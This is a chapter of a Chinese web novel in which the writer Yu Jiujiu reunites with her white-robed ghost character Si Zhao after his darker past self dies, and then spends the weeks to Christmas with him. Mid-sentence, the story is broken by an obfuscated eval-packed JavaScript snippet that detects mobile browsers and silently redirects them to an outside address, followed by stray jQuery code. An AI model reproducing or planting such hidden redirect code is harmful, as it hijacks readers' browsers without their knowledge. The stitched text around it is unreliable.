“咚——咚咚——”
敲门声响起，在一个不合时宜的时间点。
南瓜灯亮着橙黄色的光，小幽灵灯泡在家里缠了一圈又一圈。前些天，郁酒酒布置这些时很平静，潜意识里有一些期待。
如果司钊在这时到来，他会和她一起度过一个很愉快的夜晚。
可什么都没有了。司钊走前走后，家里没有什么分别，就像一切都没有发生过。
这一切就和精神病人的颅内幻想一般，现实里是空荡荡的。
郁酒酒想，这真的不是幻听吗？她真的没有沉溺在幻想之中吗？
世界之大，我却找不到你存在的证据。
郁酒酒一遍遍复盘——
脖子上的伤口依然疼痛，像一根红线刺进皮肤，手指触碰到伤口的形状，她轻轻地嘶了一声，指尖是鲜红的一滴血。
一场发生在现实里的绑架，受伤的是作者，死掉的是角色。奇怪的黑袍杀掉她心爱的角色，逃之夭夭。
她甚至没有办法为他报警。
一个角色杀掉另一个小说角色，需要负法律责任吗？
郁酒酒觉得荒唐得可笑，她写下《司钊手记》想要改变司钊的结局，却是徒劳而已。
初见那天，郁酒酒以为司钊敲门的时间没有规律，她一直以为“敲门”是随机事件，就如如同写作时，灵感降临的频率那样不规律、无法预测。
但今天，黑袍信誓旦旦地证明了一件事——司钊敲门的时间拥有规律，郁酒酒作为作者尚未发现的规律。
这一切的答案似乎都藏在《司钊手记》中。
除了亲笔写下的文字，只剩下空白的、怎么划也划不到尽头的无限文档。
这是一条尚未被郁酒酒发现的规律。
没有更多的线索了，最大的疑点仍然是——郁酒酒真的亲笔写下了司钊会在今夜死去吗？
“咚——咚咚——”
敲门声在沉寂许久后再次想起，这一次声音听起来稍显急促，像是问询“你为何在迟疑”？“为何不为我开门”？
更像是一种试探，“你是否会在此刻为我开门”。
黑袍是郁酒酒引狼入室放进来的，可是这一刻，心跳的频率告诉她，这样的敲门声，没有问询、没有强势地闯进来，只是一遍遍敲门，同她说“你好”、“是我”……
郁酒酒控制着冲动的心，打开监控，门外空空如也，只有昏黄的一地南瓜灯和准备给街区里小朋友们的糖果盒。
思考了许久，她挪着步子走向大门，红着双眼，趴在猫眼前向外望——
司钊站在门外。他一身雪白的衣裳，眼神淡漠，衣冠整洁，没有一丝一毫刺眼的色彩。
他是死在她眼前的司钊吗？他太过淡漠，好似什么都没有发生过，谁的生死也不能激起他的波澜。
郁酒酒喃喃道：“司钊……”
“酒酒，你还好吗？”司钊沉声问。
“我——”郁酒酒开门的手顿住，想起初见时，司钊含泪所说的“不要为我开门”。
她动了动唇，小心问道：“你知道刚刚发生了什么吗？”
司钊说：“酒酒，不要为我感到难过。”
他说话时是很坦然的姿态，在小小的猫眼、小小的圆圈里，郁酒酒能看见白衣、白发和他冷白的面容。
“我以为你会说忘记了，或者是，时间太久了，你不记得。”
郁酒酒隔着门同他说话，手握在门把手迟迟不动。她有一种奇怪的感受，司钊为什么没有例行公事地提问“您见到我的作者大人了吗？”亦或是说那句“找到您了”。
她迟迟没有开门。
“酒酒，你做的很好。以后不要为我开门。”司钊说：“我不会茫然入室，也不会像红衣的我一样行事。”
原来自始至终，会说“找到您了”的只是红衣的司钊。那上一位司钊是红衣司钊假扮的白衣司钊。
白衣司钊默认他们是同一个司钊，同一个人，他拥有他的记忆。
但堕鬼时期的红衣司钊不这样认为，他很反感那个未来的自己，近乎分裂般的讨厌。
他是过去的他，而他在他一无所知的未来。
“司钊，‘不要为我开门’中的‘我’不是指你，而是堕鬼时期的你，但你害怕我会被蒙骗，所以宁可让我不为任何时间的你开门。”
郁酒酒想清楚来龙去脉，她可以白衣司钊开门，在他没有问出例行公事的问题时，这一扇门，可以打开。
“你们是一个人的过去与未来，对吗？”她鼓起勇气说出自己的想法，“我现在可以开门吗？”
“当然，”司钊道：“酒酒，你很聪明，这么快就发现了我的用意。”
门打开的一瞬间，郁酒酒赤着脚冲出去。
地毯上有些凉，来讨要糖果的捣蛋小孩们从四面八方带来积雪，在门前踩踏成冰，又被地暖化成水。
郁酒酒踩在湿漉漉的地毯上，抓着司钊的衣襟，慌不择言，“我看见了黑袍，他知道你什么时候会来。”
司钊轻轻点了下头，“我知道，别怕。”
“你知道？”郁酒酒松开他的手臂，后退一步，从寒凉的门外退回温暖如春的室内。
她惊诧地看向司钊：“你知道？”
司钊点头。
郁酒酒一步一步退回门里，脚下的凉意被冲散，她站在温暖的地面上，冲他扯了一下笑容，目光灼灼地看着他。
“你早就知道，你会在今夜出现，也会死在我面前。因为你有漫长的生命，因为你不会真正死去，所以刚刚的那一场死亡荒诞地像笑话一样。”
“我的痛彻心扉也是一场笑话。”
郁酒酒没再看他，转身走回客厅，扑在毛茸茸的黄色小熊沙发里，脸埋在柔软的长毛里。她听着身后轻轻的脚步声，心里五味杂陈。
突如其来的安静，郁酒酒以为司钊离开了，把脸埋的更深，温热的泪打湿小熊的长毛。她用力地抱紧小熊，得到了一个来自小熊的静静的拥抱。
司钊，骗子。她在心里骂他。
窸窸窣窣的声音传来，郁酒酒抬眼，看见司钊在翻垃圾？！
司钊半蹲在垃圾桶前，雪白的长发随着动作垂到地上，层层叠叠的衣衫堆起来，远远望去像是散落一地的霜。
他像是一个雪人。
“你在找什么？”郁酒酒看着他迟疑的动作。刚刚，他陷入了某
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026403|194431||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
种停滞。
“蛋糕。”司钊说。
栗子蛋糕碎在垃圾桶里，形状不太好看，司钊伸手挖了一口，尝了很久，慢悠悠地抬眼看向郁酒酒。
“栗子蛋糕很甜，我，或者说刚刚的那位我，他没觉得痛，也没有后悔。他只是有些遗憾，没有尝到作者大人亲手做的栗子蛋糕。”
一个人怎么会如此？司钊把自己和过去的自己分开，是在同她道歉，他在说不要为过去的我而难过，他在说死亡不值一提，他珍视她的每一分情感，无论是愤怒、悲伤或痛苦。
作者明白一个角色的心理，郁酒酒甚至可以增添细节来描写司钊的歉意，一个个文字在心底浮现。
郁酒酒垂着头，眼泪啪嗒啪嗒地落下来。
“很甜，”司钊说：“和草莓冰激凌一样甜。”
他挖蛋糕的手没停，说话间，下一团栗子奶油就入了口。
郁酒酒好气又好笑，抽泣着说：“你别吃垃圾——”
“我舍不得。”
“冰箱里有新的，我做了很多，只是，垃圾桶里的是最甜的一个。还有，阿姨下午才换过垃圾袋，是干净的。”
司钊笑了笑，“我知道。”
“那你——”
“哄您开心。”司钊重复说：“我想哄您开心。”
郁酒酒显然没有想到他会这样回答自己，愣了一下，哭笑着说：“我刚刚真的很害怕，我以为——我以为你真的死了……我不想你死。司钊，你是我最心爱的角色。”
司钊没有说话，他静静地凝望着郁酒酒，好像这一刻就是最后一刻。
-
时间像一只小驯鹿，甩着四蹄从远方赶来，又急匆匆奔向下一个地点。
从万圣夜到平安夜，整整二十六个日夜，司钊没有离开，郁酒酒也没有打开过《司钊手记》。
他们对“离开”个词避之不及，对“陪伴”这个词珍惜再珍惜。
雪停时，他们一起走过长长的沧州古巷。空气是冰冷的味道，郁酒酒整个人好像埋在一堆衣服里，捧着一杯热乎乎的甜奶茶，小口小口地喝。
她发出满足的喟叹：“司钊，好喝，我觉得你肯定会喜欢芋泥啵啵，而不是黑糖珍珠。”
司钊淡淡说：“哦，我都没有喝过。”
郁酒酒晃了晃手机，“我点了外卖，到家就可以喝啦！两个口味哦。”
说着话，郁酒酒躲过热闹的人流。她自说自话，因为戴着蓝牙耳机，路人都认为她是在和人通电话。方才，连买奶茶时的店员也怕打扰她的通话，点单时压低了声音。
融雪后的第一个晴天，许多人在这时出门，他们经过郁酒酒，听见她在同一个人讲话，默认声音会顺着网络通向远方。
只有郁酒酒知道，她的一字一句都落进身边人的耳中。
她听得到司钊的回应，他说：“我赌黑糖珍珠。”
迎面而来一位路人，郁酒酒避开人潮躲在墙边，她在这一刻晃了神，僵硬地吞下口中的奶茶。
司钊站在原地，来来往往的行人走近他，再穿过他。
他像是一道虚影，连风也能轻易吹散他。
他像是一个虚无的影子……